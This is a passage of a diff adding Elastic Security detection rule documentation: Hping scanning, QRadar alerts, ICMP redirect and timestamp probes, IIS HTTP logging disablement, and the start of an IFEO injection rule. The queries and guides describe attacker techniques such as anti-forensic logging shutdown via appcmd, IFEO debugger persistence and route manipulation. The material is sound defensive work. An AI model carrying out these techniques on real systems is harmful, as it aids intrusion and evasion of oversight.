+** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-hping-process-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-hping-process-activity.asciidoc new file mode 100644 index 0000000000..7bc085ab56 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-hping-process-activity.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-hping-process-activity]] +=== Hping Process Activity + +Hping ran on a Linux host. Hping is a FOSS command-line packet analyzer and has the ability to construct network packets for a wide variety of network security testing applications, including scanning and firewall auditing. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://en.wikipedia.org/wiki/Hping + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Hping Process Activity* + + +Hping is a versatile command-line tool used for crafting and analyzing network packets, often employed in network security testing. Adversaries may exploit Hping to perform reconnaissance, such as scanning networks or probing firewalls, to gather system information. The detection rule identifies Hping's execution on Linux systems by monitoring specific process start events, helping to flag potential misuse indicative of discovery tactics. + + +*Possible investigation steps* + + +- Review the process start event details to confirm the execution of Hping, focusing on the process.name field to ensure it matches "hping", "hping2", or "hping3". +- Identify the user account associated with the Hping process by examining the user context in the event data to determine if the activity aligns with expected behavior for that user. +- Analyze the command line arguments used with the Hping process to understand the intent of the execution, such as specific network targets or options that indicate scanning or probing activities. +- Check the timing and frequency of the Hping process execution to assess whether it aligns with routine network testing schedules or if it appears anomalous. +- Investigate the source and destination IP addresses involved in the Hping activity to identify potential targets and assess whether they are internal or external to the organization. +- Correlate the Hping activity with other security events or alerts from the same host or network segment to identify any related suspicious activities or patterns. +- Consult with the system owner or network security team to verify if the Hping activity was authorized as part of legitimate security testing or if it requires further investigation. + + +*False positive analysis* + + +- Routine network testing by IT teams may trigger the rule when using Hping for legitimate purposes. To manage this, create exceptions for known IP addresses or user accounts involved in regular network audits. +- Automated scripts or cron jobs that utilize Hping for monitoring network performance can lead to false positives. Identify these scripts and exclude their execution paths or associated user accounts from the detection rule. +- Security training exercises or penetration testing activities might involve Hping usage. Coordinate with security teams to whitelist these activities by specifying time windows or specific user roles. +- Development or testing environments where Hping is used for application testing can cause alerts. Exclude these environments by filtering based on hostnames or network segments associated with non-production systems. + + +*Response and remediation* + + +- Immediately isolate the affected Linux host from the network to prevent further reconnaissance or potential lateral movement by the adversary. +- Terminate any active Hping processes on the affected host to stop ongoing packet crafting or network probing activities. +- Conduct a thorough review of network logs and firewall configurations to identify any unauthorized access or anomalies that may have been exploited using Hping. +- Perform a comprehensive scan of the affected system for additional indicators of compromise, such as unauthorized user accounts or unexpected changes to system files. +- Reset credentials and review access permissions for accounts on the affected host to ensure no unauthorized access persists. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update detection and monitoring systems to enhance visibility and alerting for similar reconnaissance activities, ensuring rapid response to future threats. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name in ("hping", "hping2", "hping3") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ibm-qradar-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ibm-qradar-external-alerts.asciidoc new file mode 100644 index 0000000000..e118ef0deb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ibm-qradar-external-alerts.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-34-ibm-qradar-external-alerts]] +=== IBM QRadar External Alerts + +Generates a detection alert for each IBM QRadar offense written to the configured indices. Enabling this rule allows you to immediately begin investigating IBM QRadar offense alerts in the app. + +*Rule type*: query + +*Rule indices*: + +* logs-ibm_qradar.offense-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://docs.elastic.co/en/integrations/ibm_qradar + +*Tags*: + +* Data Source: IBM QRadar +* Use Case: Threat Detection +* Resources: Investigation Guide +* Promotion: External Alerts +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Network + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating IBM QRadar External Alerts* + + +IBM QRadar is a Security Intelligence Platform that provides SIEM, log management, anomaly detection, and incident forensics. The rule promotes QRadar offense records as Elastic detection alerts, enabling analysts to investigate potential threats with full offense context including rule names, severity, and status. + + +*Possible investigation steps* + + +- Review the offense details including rule name, description, and categories to understand the nature of the alert. +- Examine the offense severity and status (OPEN, HIDDEN, etc.) to prioritize investigation. +- Cross-reference the offense with QRadar console for additional context including contributing events and log sources. +- Investigate source and destination networks, device count, and event count associated with the offense. +- Consult the IBM QRadar investigation guide and resources tagged in the alert for specific guidance on handling similar threats. + + +*False positive analysis* + + +- Offenses triggered by routine administrative activities or known maintenance can be false positives. Review the offense context and create exceptions for scheduled activities. +- Legitimate security testing or penetration testing may generate offenses. Coordinate with security teams to whitelist these during scheduled tests. +- Low-severity offenses from specific rules that are known to produce noise can be excluded by creating rule exceptions. +- Offenses from development or test environments may not require investigation. Consider excluding these environments if appropriate. + + +*Response and remediation* + + +- Isolate affected systems if malicious activity is confirmed to prevent lateral movement. +- Review the offense details to identify compromised accounts, credentials, or systems and take appropriate remediation steps. +- Apply relevant security patches or updates to address any exploited vulnerabilities. +- Escalate to the security operations center (SOC) or incident response team for further analysis if the threat appears significant. +- Document the incident and update detection logic or exceptions based on findings. + + +==== Setup + + + +*Setup* + + + +*IBM QRadar Offense Integration* + +This rule is designed to capture offense events generated by the IBM QRadar integration and promote them as Elastic detection alerts. + +To capture IBM QRadar offenses, install and configure the IBM QRadar integration to ingest offense records into the `logs-ibm_qradar.offense-*` index pattern. + +If this rule is enabled alongside the External Alerts promotion rule (UUID: eb079c62-4481-4d6e-9643-3ca499df7aaa), you may receive duplicate alerts for the same QRadar events. Consider adding a rule exception for the External Alert rule to exclude data_stream.dataset:ibm_qradar.offense to avoid receiving duplicate alerts. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind: alert and data_stream.dataset: ibm_qradar.offense + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-icmp-redirect-message-from-internal-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-icmp-redirect-message-from-internal-host.asciidoc new file mode 100644 index 0000000000..ba32980a8e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-icmp-redirect-message-from-internal-host.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-icmp-redirect-message-from-internal-host]] +=== ICMP Redirect Message from Internal Host + +Identifies ICMP Redirect messages (type 5 for IPv4, type 137 for IPv6) sourced from an internal IPv4 or IPv6 address. Legitimate redirects are normally sent only by on-path routers. A workstation or server emitting redirects can indicate route manipulation for adversary-in-the-middle activity. + +*Rule type*: query + +*Rule indices*: + +* logs-network_traffic.icmp-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.rfc-editor.org/rfc/rfc792 +* https://www.rfc-editor.org/rfc/rfc4443 +* https://zimperium.com/blog/doubledirect-zimperium-discovers-full-duplex-icmp-redirect-attacks-in-the-wild + +*Tags*: + +* Domain: Network +* Tactic: Credential Access +* Use Case: Threat Detection +* Use Case: Network Security Monitoring +* Data Source: Network Traffic +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Data Source: Network Packet Capture + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating ICMP Redirect Message from Internal Host* + + +ICMP Redirect instructs a host to send traffic for a destination through a different next hop. On most enterprise +segments, only infrastructure routers should emit redirects; a user workstation or server doing so is a strong +adversary-in-the-middle indicator. + + +*Possible investigation steps* + + +- Identify the redirect source in `source.ip` and locate the asset on the VLAN. Confirm whether it is an authorized + router or gateway. +- Review the redirect target and affected destination in ICMP fields and adjacent flow records to see which routes or + resolvers were being manipulated. +- Check whether affected clients show DNS, gateway, or VPN routing changes around the alert time. +- Correlate with DHCP, ARP, or LLMNR/NBT-NS alerts on the same segment for combined MITM activity. + + +*False positive analysis* + + +- Some legacy network appliances, hypervisor gateways, or misconfigured Linux hosts with IP forwarding enabled may + emit redirects. Maintain exceptions for known router and gateway IPs after validation. +- Lab networks that intentionally test route injection should be scoped out by source subnet. + + +*Response and remediation* + + +- Isolate the emitting host if it is not an authorized router. +- Disable ICMP redirect acceptance on affected clients where policy allows, and block redirect-generating hosts at the + access layer. +- Review segment routing, default gateways, and DHCP options for unauthorized changes. + +==== Setup + + + +*Setup* + + +This rule requires ICMP transaction telemetry from the Elastic network_traffic integration (`network_traffic.icmp` +data stream). Flow-only exporters that do not record ICMP type/code will not satisfy this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:network_traffic.icmp + and (network_traffic.icmp.request.type:(5 or 137) or icmp.request.type:(5 or 137)) + and source.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16 or "FC00::/7" or "FE80::/10") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-icmp-timestamp-or-information-request-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-icmp-timestamp-or-information-request-from-the-internet.asciidoc new file mode 100644 index 0000000000..a0401136b7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-icmp-timestamp-or-information-request-from-the-internet.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-icmp-timestamp-or-information-request-from-the-internet]] +=== ICMP Timestamp or Information Request from the Internet + +Identifies inbound ICMP Timestamp (type 13) or Information (type 15) requests from external addresses to internal RFC1918 destinations. These message types are rarely used in modern networks and are commonly associated with host and path fingerprinting during reconnaissance. + +*Rule type*: query + +*Rule indices*: + +* logs-network_traffic.icmp-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.rfc-editor.org/rfc/rfc792 +* https://nmap.org/book/host-discovery-techniques.html +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Network +* Tactic: Discovery +* Tactic: Reconnaissance +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Data Source: Network Traffic +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Data Source: Network Packet Capture + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating ICMP Timestamp or Information Request from the Internet* + + +ICMP Timestamp and Information requests are legacy diagnostic messages. Inbound use from the Internet toward internal +hosts is uncommon in production networks and often indicates active scanning or OS fingerprinting. + + +*Possible investigation steps* + + +- Review `source.ip` against threat intelligence and prior scan activity on the environment. +- Determine whether the targeted `destination.ip` is an exposed host, VPN concentrator, or mis-NATed internal asset. +- Look for adjacent port scans, SYN sweeps, or exploit attempts from the same source around the alert window. +- Check whether the destination host replied and whether follow-on connections were attempted. + + +*False positive analysis* + + +- Some legacy network monitoring or SLA probes may still use ICMP Timestamp requests. Maintain exceptions for known + monitoring source ranges after validation. +- Shared hosting or multi-tenant environments with overlapping address space may require destination-specific tuning. + + +*Response and remediation* + + +- Block or rate-limit the external source at the perimeter if activity is unauthorized. +- Verify that the targeted internal host is not unintentionally exposed to the Internet. +- Increase monitoring on targeted assets for follow-on exploitation attempts. + +==== Setup + + + +*Setup* + + +This rule requires ICMP transaction telemetry from the Elastic network_traffic integration (`network_traffic.icmp` +data stream). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:network_traffic.icmp + and (network_traffic.icmp.request.type:(13 or 15) or icmp.request.type:(13 or 15)) + and destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) + and not source.ip:( + 10.0.0.0/8 or + 100.64.0.0/10 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.175.48.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.88.99.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 224.0.0.0/4 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Scanning IP Blocks +** ID: T1595.001 +** Reference URL: https://attack.mitre.org/techniques/T1595/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-iis-http-logging-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-iis-http-logging-disabled.asciidoc new file mode 100644 index 0000000000..1775c2f5f5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-iis-http-logging-disabled.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-iis-http-logging-disabled]] +=== IIS HTTP Logging Disabled + +Identifies when Internet Information Services (IIS) HTTP Logging is disabled on a server. An attacker with IIS server access via a webshell or other mechanism can disable HTTP Logging as an effective anti-forensics measure. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Service: IIS + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating IIS HTTP Logging Disabled* + + + +*Possible investigation steps* + + +- What IIS HTTP logging scope did AppCmd disable? + - Focus: `process.command_line`: "dontLog" value, site/application target, "system.webServer/httpLogging", and apphost commit. + - Implication: escalate when production-site or server-wide successful-request logging is disabled, because webshell traffic may leave no IIS log trail; lower suspicion when scope and timing fit a narrow non-production logging test, migration, or recovery action. +- Is this the expected IIS AppCmd utility? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`. + - Implication: escalate when AppCmd is renamed, unsigned, or outside the IIS administration path; lower suspicion when trusted Microsoft AppCmd runs from that path. Identity alone never clears disablement. +- Does the operator and session context fit IIS administration on this host? + - Focus: `user.id`, `user.name`, `user.domain`, `process.Ext.session_info.logon_type`. + - Hint: if session enrichment is absent, keep session unresolved and rely on operator plus parent-lineage evidence; absence is not benign. + - Implication: escalate when a rare operator, service-account misuse, unexpected remote-interactive/network session, or newly elevated token made the change; lower suspicion when the operator/session pattern is recognized for this IIS host. +- What launched AppCmd? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.parent.entity_id`. + - Implication: escalate when the launcher includes web workers, shells, script hosts, archive tools, or web-content chains; lower suspicion when lineage stays inside one recognized IIS management/deployment workflow. +- Do surrounding process commands show cleanup or adjacent IIS anti-forensics? + - Focus: process starts from the same AppCmd parent on the same `host.id`, reading `process.command_line`. !{investigate{"description":"","label":"Process starts from the same AppCmd parent","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: prefer `process.entity_id` or `process.parent.entity_id`; if unavailable, use `host.id` + `process.pid` + a tight alert window and treat the join as weaker. + - Implication: escalate for log deletion, "applicationHost.config"/"web.config" rewrites, PowerShell IIS configuration changes, or no re-enable command after a temporary-change explanation; lower suspicion when commands only re-enable logging or stay inside the same recognized IIS workflow. +- If local evidence remains suspicious or unresolved, do related alerts change scope or urgency? + - Focus: related alerts for the same `user.id`, emphasizing webshell, archive, persistence, anti-forensics, or suspicious IIS tooling. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: the host-scoped alert view for the same `host.id` separates one operator's history from server activity. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when either scope shows precursor webshell access, staging, persistence, or repeated anti-forensics; keep the case local only when related alerts stay limited to the same recognized maintenance window. + +- Escalate on unauthorized logging disablement, suspicious lineage, missing re-enable evidence, or adjacent IIS compromise; close only when scope, identity, operator/session, lineage, surrounding activity, and related alerts match one recognized workflow and external confirmation verifies exact activity telemetry cannot prove; preserve evidence and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- IIS migration, recovery, short troubleshooting, or controlled logging tests can trigger this rule. Confirm trusted Microsoft AppCmd from the IIS administration path, intended site/application scope in `process.command_line`, recognized `user.id`, matching parent workflow, and re-enable process evidence for temporary changes. Use change records or owner confirmation only after process evidence matches; conflicting process evidence blocks benign closure. If records are unavailable, require the same AppCmd path, signer, parent workflow, targeted IIS scope, operator, session type, and `host.id` to recur across prior alerts. A different target, operator, lineage, or missing re-enable command keeps the alert unresolved. +- Before creating an exception, validate the same AppCmd identity (`process.executable` plus `process.code_signature.subject_name`), parent executable, command scope, `user.id`, and `host.id` across prior alerts. Avoid exceptions on AppCmd alone, "/dontLog" alone, or the host alone. + + +*Response and remediation* + + +- If suspicious but unconfirmed, preserve the alert record, `process.entity_id`, `process.command_line`, targeted IIS scope, parent lineage, operator/session fields, related-alert context, remaining IIS logs, and current IIS configuration before containment. Apply reversible containment first, and weigh host criticality before isolating internet-facing or revenue-bearing IIS servers. +- If confirmed benign, reverse temporary containment and document the AppCmd path, targeted IIS scope, operator, session type, parent lineage, re-enable evidence, and external confirmation that justified closure. Create an exception only after the same pattern recurs. +- If confirmed malicious, contain the host or administrative session when command scope, lineage, operator context, or related alerts show unauthorized anti-forensics. Record the same evidence set before terminating processes, killing sessions, deleting artifacts, or changing IIS configuration. +- Re-enable IIS HTTP logging at the affected site or server scope, export remaining IIS logs before rotation, restore deleted logs from backups or snapshots when possible, and compare "applicationHost.config" or "web.config" changes tied to the same activity. +- Eradicate only the webshells, scripts, archives, persistence artifacts, and configuration changes uncovered during the investigation. Rotate credentials when the operator/session evidence suggests account compromise, then remediate the initial access or administrative-control failure that allowed logging to be disabled. +- After containment, scope other hosts for the same AppCmd arguments, IIS configuration-edit commands, log-cleanup commands, and adjacent IIS anti-forensics variants. Retain the process and case-export evidence that supported the final disposition. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "appcmd.exe" or ?process.pe.original_file_name == "appcmd.exe") and + process.args : "/dontLog*:*True" and + not process.parent.name : "iissetup.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable Windows Event Logging +** ID: T1562.002 +** Reference URL: https://attack.mitre.org/techniques/T1562/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-image-file-execution-options-injection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-image-file-execution-options-injection.asciidoc new file mode 100644 index 0000000000..3aba088f41 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-image-file-execution-options-injection.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-image-file-execution-options-injection]] +=== Image File Execution Options Injection + +The Debugger and SilentProcessExit registry keys can allow an adversary to intercept the execution of files, causing a different process to be executed. This functionality can be abused by an adversary to establish persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Image File Execution Options Injection* + + +Image File Execution Options (IFEO) is a Windows feature allowing developers to debug applications by specifying an alternative executable to run. Adversaries exploit this by setting a debugger to execute malicious code instead, achieving persistence or evasion. The detection rule identifies changes to specific registry keys associated with IFEO, flagging potential misuse by monitoring for unexpected executables being set as debuggers. + + +*Possible investigation steps* + + +- Review the registry path and value that triggered the alert to identify the specific executable or process being targeted for debugging or monitoring. +- Check the registry.data.strings field to determine the unexpected executable set as a debugger or monitor 